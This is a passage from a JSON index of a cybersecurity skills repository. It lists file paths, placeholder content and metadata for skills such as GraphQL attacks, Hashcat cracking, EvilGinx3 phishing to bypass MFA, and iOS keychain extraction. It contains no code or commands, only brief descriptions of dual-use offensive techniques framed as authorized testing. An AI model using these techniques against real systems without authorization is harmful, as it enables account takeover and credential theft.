exposure.","domain":"cybersecurity","subdomain":"cloud-security","tags":["gcp","cloud-pentesting","bucket-enumeration","iam-audit","privilege-escalation","gcpbucketbrute"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1068"]},"isInternal":false,"tokens":653,"sizeBytes":2863},{"name":"api-reference.md","path":"skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-security-assessment-with-forseti%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":429,"sizeBytes":1949},{"name":"SKILL.md","path":"skills/performing-gcp-security-assessment-with-forseti/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-gcp-security-assessment-with-forseti/SKILL.md","title":"performing-gcp-security-assessment-with-forseti","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-security-assessment-with-forseti%2FSKILL.md -->","frontmatter":{"name":"performing-gcp-security-assessment-with-forseti","description":"Performing comprehensive security assessments of Google Cloud Platform environments using Forseti Security, Security Command Center, and gcloud CLI to audit IAM policies, firewall rules, storage permissions, and compliance against CIS GCP Foundations Benchmark.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","gcp","forseti","security-command-center","iam-audit","cis-benchmark"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4","GOVERN-1.1","GOVERN-4.2"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":2647,"sizeBytes":11216},{"name":"api-reference.md","path":"skills/performing-graphql-depth-limit-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-graphql-depth-limit-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-depth-limit-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":394,"sizeBytes":1667},{"name":"SKILL.md","path":"skills/performing-graphql-depth-limit-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-graphql-depth-limit-attack/SKILL.md","title":"performing-graphql-depth-limit-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-depth-limit-attack%2FSKILL.md -->","frontmatter":{"name":"performing-graphql-depth-limit-attack","description":"Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.","domain":"cybersecurity","subdomain":"api-security","tags":["graphql","depth-limit","denial-of-service","nested-queries","api-security","query-complexity","resource-exhaustion","penetration-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001"]},"isInternal":false,"tokens":2961,"sizeBytes":13002},{"name":"api-reference.md","path":"skills/performing-graphql-introspection-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-graphql-introspection-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-introspection-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1182,"sizeBytes":5059},{"name":"SKILL.md","path":"skills/performing-graphql-introspection-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-graphql-introspection-attack/SKILL.md","title":"performing-graphql-introspection-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-introspection-attack%2FSKILL.md -->","frontmatter":{"name":"performing-graphql-introspection-attack","description":"Performs GraphQL introspection attacks that extract the full API schema (types, queries, mutations, subscriptions, field definitions), map the attack surface, test query depth/complexity limits, and exploit GraphQL-specific weaknesses such as batching attacks, alias-based brute force, and nested query DoS. Use for GraphQL security testing, schema enumeration, or GraphQL API penetration testing.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","graphql","introspection","schema-extraction","query-abuse"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1110"]},"isInternal":false,"tokens":4483,"sizeBytes":19662},{"name":"api-reference.md","path":"skills/performing-graphql-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-graphql-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":375,"sizeBytes":1404},{"name":"SKILL.md","path":"skills/performing-graphql-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-graphql-security-assessment/SKILL.md","title":"performing-graphql-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-graphql-security-assessment","description":"Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","graphql","api-security","owasp","web-security","introspection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":3622,"sizeBytes":14108},{"name":"api-reference.md","path":"skills/performing-hardware-security-module-integration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-hardware-security-module-integration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hardware-security-module-integration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":897,"sizeBytes":3126},{"name":"SKILL.md","path":"skills/performing-hardware-security-module-integration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-hardware-security-module-integration/SKILL.md","title":"performing-hardware-security-module-integration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hardware-security-module-integration%2FSKILL.md -->","frontmatter":{"name":"performing-hardware-security-module-integration","description":"Integrates Hardware Security Modules (HSMs) via the PKCS#11 interface using python-pkcs11, performing key generation, signing, encryption, verification, and token/slot queries against SoftHSM2, AWS CloudHSM, or YubiHSM2. Use when implementing HSM-backed key management or validating HSM configuration for FIPS 140-2/3 compliance.","domain":"cybersecurity","subdomain":"cryptography","tags":["HSM","PKCS11","CloudHSM","YubiHSM2","key-management","cryptographic-operations","hardware-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553","T1078.004","T1530"]},"isInternal":false,"tokens":626,"sizeBytes":2465},{"name":"template.md","path":"skills/performing-hash-cracking-with-hashcat/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-hash-cracking-with-hashcat/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":320,"sizeBytes":1107},{"name":"api-reference.md","path":"skills/performing-hash-cracking-with-hashcat/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-hash-cracking-with-hashcat/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":464,"sizeBytes":1657},{"name":"standards.md","path":"skills/performing-hash-cracking-with-hashcat/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-hash-cracking-with-hashcat/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":268,"sizeBytes":1048},{"name":"workflows.md","path":"skills/performing-hash-cracking-with-hashcat/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-hash-cracking-with-hashcat/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":391,"sizeBytes":1281},{"name":"SKILL.md","path":"skills/performing-hash-cracking-with-hashcat/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-hash-cracking-with-hashcat/SKILL.md","title":"performing-hash-cracking-with-hashcat","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2FSKILL.md -->","frontmatter":{"name":"performing-hash-cracking-with-hashcat","description":"Cracks password hashes with Hashcat, covering hash-type identification, dictionary/brute-force/rule-based attack modes, custom rule creation, GPU benchmarking, and password-strength/compliance reporting. Use for authorized penetration testing or security audits that need to evaluate password strength or crack captured hashes.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","hash-cracking","password-security","hashcat","penetration-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553"]},"isInternal":false,"tokens":763,"sizeBytes":3572},{"name":"api-reference.md","path":"skills/performing-http-parameter-pollution-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-http-parameter-pollution-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-http-parameter-pollution-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":353,"sizeBytes":1590},{"name":"SKILL.md","path":"skills/performing-http-parameter-pollution-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-http-parameter-pollution-attack/SKILL.md","title":"performing-http-parameter-pollution-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-http-parameter-pollution-attack%2FSKILL.md -->","frontmatter":{"name":"performing-http-parameter-pollution-attack","description":"Executes HTTP Parameter Pollution attacks that inject duplicate request parameters to bypass input validation, WAF rules, and other security controls when front-end and back-end systems parse duplicate parameters differently. Use during web application penetration testing to test for parameter parsing inconsistencies or WAF/validation bypass.","domain":"cybersecurity","subdomain":"web-application-security","tags":["http-parameter-pollution","hpp","waf-bypass","input-validation","web-security","parameter-injection","server-parsing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":1879,"sizeBytes":7959},{"name":"api-reference.md","path":"skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ics-asset-discovery-with-claroty%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":397,"sizeBytes":1523},{"name":"SKILL.md","path":"skills/performing-ics-asset-discovery-with-claroty/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ics-asset-discovery-with-claroty/SKILL.md","title":"performing-ics-asset-discovery-with-claroty","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ics-asset-discovery-with-claroty%2FSKILL.md -->","frontmatter":{"name":"performing-ics-asset-discovery-with-claroty","description":"Performs ICS/OT asset discovery with Claroty xDome, combining passive monitoring and Claroty Edge active queries to inventory PLCs, RTUs, HMIs, and network infrastructure across Purdue Model levels. Use when gaining visibility into an undocumented OT environment, preparing an IEC 62443 asset inventory, or onboarding Claroty xDome; not for IT-only discovery.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","asset-discovery","claroty","xdome","scada","network-visibility","iec62443"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":4647,"sizeBytes":19571},{"name":"template.md","path":"skills/performing-indicator-lifecycle-management/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-indicator-lifecycle-management/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":255,"sizeBytes":1004},{"name":"api-reference.md","path":"skills/performing-indicator-lifecycle-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-indicator-lifecycle-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":417,"sizeBytes":1593},{"name":"standards.md","path":"skills/performing-indicator-lifecycle-management/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-indicator-lifecycle-management/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":303,"sizeBytes":1156},{"name":"workflows.md","path":"skills/performing-indicator-lifecycle-management/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-indicator-lifecycle-management/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":283,"sizeBytes":1409},{"name":"SKILL.md","path":"skills/performing-indicator-lifecycle-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-indicator-lifecycle-management/SKILL.md","title":"performing-indicator-lifecycle-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2FSKILL.md -->","frontmatter":{"name":"performing-indicator-lifecycle-management","description":"Tracks IOCs through discovery, enrichment/validation (VirusTotal, Shodan, passive DNS), deployment to SIEM/IDS watchlists, hit-rate and false-positive monitoring, confidence-score decay, and automated expiration using MISP/OpenCTI and STIX. Use when building or maintaining a threat intelligence indicator lifecycle process, aging out stale IOCs, or reducing analyst fatigue from low-quality indicators.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","indicator-lifecycle","ioc-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":1328,"sizeBytes":5843},{"name":"template.md","path":"skills/performing-initial-access-with-evilginx3/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-initial-access-with-evilginx3/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":312,"sizeBytes":1201},{"name":"api-reference.md","path":"skills/performing-initial-access-with-evilginx3/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-initial-access-with-evilginx3/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":382,"sizeBytes":1671},{"name":"standards.md","path":"skills/performing-initial-access-with-evilginx3/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-initial-access-with-evilginx3/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":329,"sizeBytes":1246},{"name":"workflows.md","path":"skills/performing-initial-access-with-evilginx3/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-initial-access-with-evilginx3/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":440,"sizeBytes":2149},{"name":"SKILL.md","path":"skills/performing-initial-access-with-evilginx3/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-initial-access-with-evilginx3/SKILL.md","title":"performing-initial-access-with-evilginx3","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2FSKILL.md -->","frontmatter":{"name":"performing-initial-access-with-evilginx3","description":"Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","initial-access","phishing","evilginx","mfa-bypass","adversary-in-the-middle","credential-theft"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1003"],"mitre_f3":{"version":"1.1","tactics":["resource-development","initial-access","positioning"],"techniques":[{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"T1111","name":"Multi-Factor Authentication Interception","tactic":"initial-access","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1809,"sizeBytes":7748},{"name":"api-reference.md","path":"skills/performing-insider-threat-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-insider-threat-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-insider-threat-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":459,"sizeBytes":1899},{"name":"SKILL.md","path":"skills/performing-insider-threat-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-insider-threat-investigation/SKILL.md","title":"performing-insider-threat-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-insider-threat-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-insider-threat-investigation","description":"Investigates insider threat incidents involving employees, contractors, or trusted partners who misuse authorized access to steal data, sabotage systems, or violate security policies, combining digital forensics, user behavior analytics, and HR/legal coordination to build an evidence-based case. Use when DLP alerts flag large data transfers to personal cloud storage or USB devices, when UBA detects anomalous access patterns for a user account, or when investigating employee data theft, privilege misuse, or internal threat detection requests.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["insider-threat","user-behavior-analytics","data-exfiltration","privilege-misuse","DFIR"],"mitre_attack":["T1486","T1490","T1070","T1078","T1048"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2500,"sizeBytes":11580},{"name":"api-reference.md","path":"skills/performing-ioc-enrichment-automation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ioc-enrichment-automation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ioc-enrichment-automation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":498,"sizeBytes":1767},{"name":"SKILL.md","path":"skills/performing-ioc-enrichment-automation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ioc-enrichment-automation/SKILL.md","title":"performing-ioc-enrichment-automation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ioc-enrichment-automation%2FSKILL.md -->","frontmatter":{"name":"performing-ioc-enrichment-automation","description":"Automates Indicator of Compromise (IOC) enrichment by orchestrating lookups across VirusTotal, AbuseIPDB, Shodan, MISP, and other intelligence sources to provide contextual scoring and disposition recommendations. Use when SOC analysts need rapid multi-source enrichment of IPs, domains, URLs, and file hashes during alert triage or incident investigation.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","ioc","enrichment","automation","virustotal","abuseipdb","shodan","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":4189,"sizeBytes":16792},{"name":"api-reference.md","path":"skills/performing-ios-app-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ios-app-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ios-app-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1016,"sizeBytes":4346},{"name":"SKILL.md","path":"skills/performing-ios-app-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ios-app-security-assessment/SKILL.md","title":"performing-ios-app-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ios-app-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-ios-app-security-assessment","description":"Performs comprehensive iOS application security assessments using Frida for dynamic instrumentation, Objection for runtime exploration, SSL pinning bypass for traffic interception, keychain extraction for credential analysis, and IPA static analysis for binary-level review. Use when conducting authorized iOS penetration tests, evaluating mobile app security posture against OWASP MASTG, or assessing iOS app data protection and transport security controls. Activates for requests involving iOS app pentesting, Frida-based iOS instrumentation, mobile app SSL pinning bypass, or IPA reverse engineering.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mukul975","tags":["mobile-security","ios","frida","objection","ssl-pinning","keychain","ipa-analysis","owasp-mastg"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1003"]},"isInternal":false,"tokens":2601,"sizeBytes":11848},{"name":"api-reference.md","path":"skills/performing-iot-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-iot-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-iot-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":473,"sizeBytes":1720},{"name":"SKILL.md","path":"skills/performing-iot-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-iot-security-assessment/SKILL.md","title":"performing-iot-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-iot-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-iot-security-assessment","description":"Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["IoT-security","firmware-analysis","embedded-systems","hardware-hacking","UART-JTAG"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1078.004"]},"isInternal":false,"tokens":2675,"sizeBytes":12670},{"name":"api-reference.md","path":"skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 